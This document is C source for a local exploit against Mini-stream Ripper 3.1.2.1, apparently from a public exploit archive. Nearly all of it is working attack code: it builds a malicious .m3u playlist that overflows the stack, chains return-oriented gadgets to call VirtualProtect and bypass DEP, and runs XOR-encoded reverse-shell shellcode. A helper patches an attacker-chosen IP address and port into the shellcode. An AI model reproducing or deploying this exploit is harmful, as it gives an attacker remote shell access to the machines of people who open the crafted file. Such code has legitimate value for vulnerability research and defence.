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/*
DISCLAIMER
THIS PROGRAM IS NOT INTENDED TO BE USED ON OTHER COMPUTERS AND IT IS DESTINED FOR PERSONAL RESEARCH ONLY!!!!
The programs are provided as is without any guarantees or warranty.
The author is not responsible for any damage or losses of any kind caused by the use or misuse of the programs.
The author is under no obligation to provide support, service, corrections, or upgrades to the free software programs.
Author: fl0 fl0w
Software: Mini-stream Ripper™
Dl link: http://www.mini-stream.net/downloads/Mini-streamRipper.exe
Test platform: Microsoft Windows xp sp3 with full updates
Afected Versions: 3.1.2.1.2010.03.30
Remote: No
Local: Yes
Class: Boundary Condition Error
Bug: Stack buffer overflow
Exploitable: Yes
Method of exploitation:Ret to libc
Afected software: Windows 98/Me/2000/XP
Fix: No fix
Compiler: gcc version 3.4.4 (cygming special, gdc 0.12, using dmd 0.125)
Video: http://www.youtube.com/watch?v=Prf-YCVrSfc
The .C code:
*/
#include<stdio.h>
#define HEAD "\x23\x45\x58\x54\x4D\x33\x55\x0D\x0A"
#define URL "\x68\x74\x74\x70\x3A\x2F\x2F"
#define CHARS "0123456789ABCDEFGHIJKLMNOPQRST" \
"UVWXYZabcdefghijklmnopqrstuvwxyz"
#define VIDEO "\t-www.youtube.com/watch?v=Prf-YCVrSfc"
#define VER "3.1.2.1.2010.03.30"
#define TITLE " Mini-stream Ripper "VER" local buffer overflow(DEP bypass)\n" \
"\t-by fl0 fl0w\n "VIDEO" "
unsigned char reverse_sc[] =
{
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9"
"\x99\x99\x99\x12\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3"
"\x9D\xC0\x71\x02\x99\x99\x99\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE"
"\xEA\xAB\xC6\xCD\x66\x8F\x12\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99"
"\x7B\x60\x18\x75\x09\x98\x99\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF"
"\x89\xC9\xC9\xC9\xC9\xD9\xC9\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6"
"\x99\x99\x98\xF1\x9B\x99\x9D\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF"
"\x81\x1C\x59\xEC\xD3\xF1\xFA\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD"
"\x14\xA5\xBD\xF3\x8C\xC0\x32\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD"
"\xBD\xA4\x10\xC5\xBD\xD1\x10\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD"
"\xBD\x89\xCD\xC9\xC8\xC8\xC8\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66"
"\xCF\x9D\x12\x55\xF3\x66\x66\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66"
"\xCF\x95\xC8\xCF\x12\xDC\xA5\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB"
"\xB9\x9A\x6C\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3"
"\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3"
"\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D"
"\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\x99\x66\x66\x66\x17\xD7\x97\x75"
"\xEB\x67\x2A\x8F\x34\x40\x9C\x57\x76\x57\x79\xF9\x52\x74\x65\xA2"
"\x40\x90\x6C\x34\x75\x60\x33\xF9\x7E\xE0\x5F\xE0"
} ;
/* rop assembly
_start:
grab_stack_pointer:
retn
save_stack_pointer:
push esp
mov eax,edx
pop edi
retn
pop eax
retn
add esp,2c
retn
push_VirtualProtect:
mov edi,edi
push ebp
mov ebp,esp
push dword ptr ss:[ebp+14]
push dword ptr ss:[ebp+10]
push dword ptr ss:[ebp+c]
push dword ptr ss:[ebp+8]
push -1
call kernel32.VirtualProtectEx
pop ebp
retn 10
lpAddress:
xchg esi,edi
dec ecx
retn 4
add eax,100
pop ebp
retn
mov dword ptr ds:[esi+10],eax
mov eax,esi
pop esi
retn
dwSize:
push eax
pop esi
retn
add eax,100
pop ebp
retn
inc esi
retn
inc esi
retn
inc esi
retn
inc esi
retn
mov dword ptr ds:[esi+10],eax
mov eax,esi
pop esi
retn
flNewProtect:
push eax
pop esi
retn
xor eax,eax
retn
add eax,100
pop ebp
retn
add eax,100
pop ebp
retn
add eax,100
pop ebp
retn
inc esi
retn
inc esi
retn
inc esi
retn
inc esi
retn
mov dword ptr ds:[esi+10],eax
mov eax,esi
pop esi
retn
lpflOldProtect:
push eax
pop esi
retn
xor eax,eax
retn
add eax,40
retn
inc esi
retn
inc esi
retn
inc esi
retn
inc esi
retn
mov dword ptr ds:[esi+10],eax
mov eax,esi
pop esi
retn
sub eax,4
retn
sub eax,4
retn
push eax
pop esp
mov eax,edi
pop edi
pop esi
retn
*/
int eip_offset=17417;
int nop_offset=17453;
int shell_offset=17473;
char RET[]="\x5e\x16\x80\x7c";
char instr1[]="\x77\x92\xd7\x5a";
char instr2[]="\x42\xe8\xc1\x77";
char instr3[]="\x01\xd8\xc4\x77";
char instr4[]="\x2b\xec\xc4\x77";
char instr5[]="\x2f\x98\x3c\x76";
char instr6[]="\x15\x41\xe8\x77";
char instr7[]="\x4a\x14\x5d\x77";
char instr8[]="\x1d\x7d\x15\x77";
char instr9[]="\x9e\x66\xd7\x5a";
char instr10[]="\xbf\x8b\xca\x76";
char instr11[]="\x1d\x14\x5d\x77";
char instr12[]="\xa8\x5c\xdf\x73";
char virtualprotect[]="\xD4\x1A\x80\x7C";//kernel32.dll
char retaddr[]="\x41\x41\x44\x44";
char lpaddr[]="\x45\x45\x45\x45";
char sz[]="\x46\x46\x46\x46";
char flnprot[]="\x47\x47\x47\x47";
int make_reverseshell(char *, char *);
void error_handle(void);
void copy_str(char*,char*,int);
void gen_random (char*, const int);
void file();
int main()
{ printf("%s",TITLE);
file();
return 0;
}
void file()
{ FILE* f=fopen("exploit.m3u","wb");
unsigned char buf[100001];
if(!f)
error_handle();
make_reverseshell("127.0.0.1","2010");//change here with what you want...
gen_random(buf,26117);
memcpy(buf+eip_offset,RET,4);
memcpy(buf+eip_offset+4,"aaaa",4);
memcpy(buf+eip_offset+8,instr1,4);
memcpy(buf+eip_offset+12,instr2,4);
memcpy(buf+eip_offset+16,"bbbb",4);
memcpy(buf+eip_offset+20,instr3,4);
memcpy(buf+eip_offset+24,virtualprotect,4);
memcpy(buf+eip_offset+28,retaddr,4);
memcpy(buf+eip_offset+32,lpaddr,4);
memcpy(buf+eip_offset+36,sz,4);
memcpy(buf+eip_offset+40,flnprot,4);
memset(buf+eip_offset+44,0x90,300);
memcpy(buf+eip_offset+68,instr5,4);
memcpy(buf+eip_offset+72,instr4,4);
memcpy(buf+eip_offset+84,instr6,4);
memcpy(buf+eip_offset+92,instr7,4);
memcpy(buf+eip_offset+96,instr4,4);
memcpy(buf+eip_offset+104,instr8,4);
memcpy(buf+eip_offset+108,instr8,4);
memcpy(buf+eip_offset+112,instr8,4);
memcpy(buf+eip_offset+116,instr8,4);
memcpy(buf+eip_offset+120,instr6,4);
memcpy(buf+eip_offset+128,instr7,4);
memcpy(buf+eip_offset+132,instr9,4);
memcpy(buf+eip_offset+136,instr4,4);
memcpy(buf+eip_offset+144,instr4,4);
memcpy(buf+eip_offset+152,instr4,4);
memcpy(buf+eip_offset+160,instr8,4);
memcpy(buf+eip_offset+164,instr8,4);
memcpy(buf+eip_offset+168,instr8,4);
memcpy(buf+eip_offset+172,instr8,4);
memcpy(buf+eip_offset+176,instr6,4);
memcpy(buf+eip_offset+184,instr7,4);
memcpy(buf+eip_offset+188,instr9,4);
memcpy(buf+eip_offset+192,instr10,4);
memcpy(buf+eip_offset+196,instr8,4);
memcpy(buf+eip_offset+200,instr8,4);
memcpy(buf+eip_offset+204,instr8,4);
memcpy(buf+eip_offset+208,instr8,4);
memcpy(buf+eip_offset+212,instr6,4);
memcpy(buf+eip_offset+220,instr11,4);
memcpy(buf+eip_offset+224,instr11,4);
memcpy(buf+eip_offset+228,instr12,4);
memcpy(buf+eip_offset+344,reverse_sc,strlen(reverse_sc));//change here shellcode
fwrite(HEAD,sizeof(char),strlen(HEAD),f);
fwrite(URL,sizeof(char),strlen(URL),f);
fwrite(buf,sizeof(char),strlen(buf),f);
fclose(f);
}
void gen_random (char* s, const int len)
{
int i;
for(i=0;i<len;++i){
s[i]=CHARS[rand()%(sizeof(CHARS)-1)];
}
s[len]=0;
}
void error_handle(void)
{
perror("\nError");
exit(1);
}
int make_reverseshell(char *ip, char *port)
{
unsigned int xorip;
unsigned short xorport;
xorip = inet_addr(ip)^(unsigned int)0x99999999;
xorport = htons(atoi( port )^(unsigned short)0x9999);
memcpy ( &reverse_sc[111], &xorip, 4);
memcpy ( &reverse_sc[118], &xorport, 2);
}
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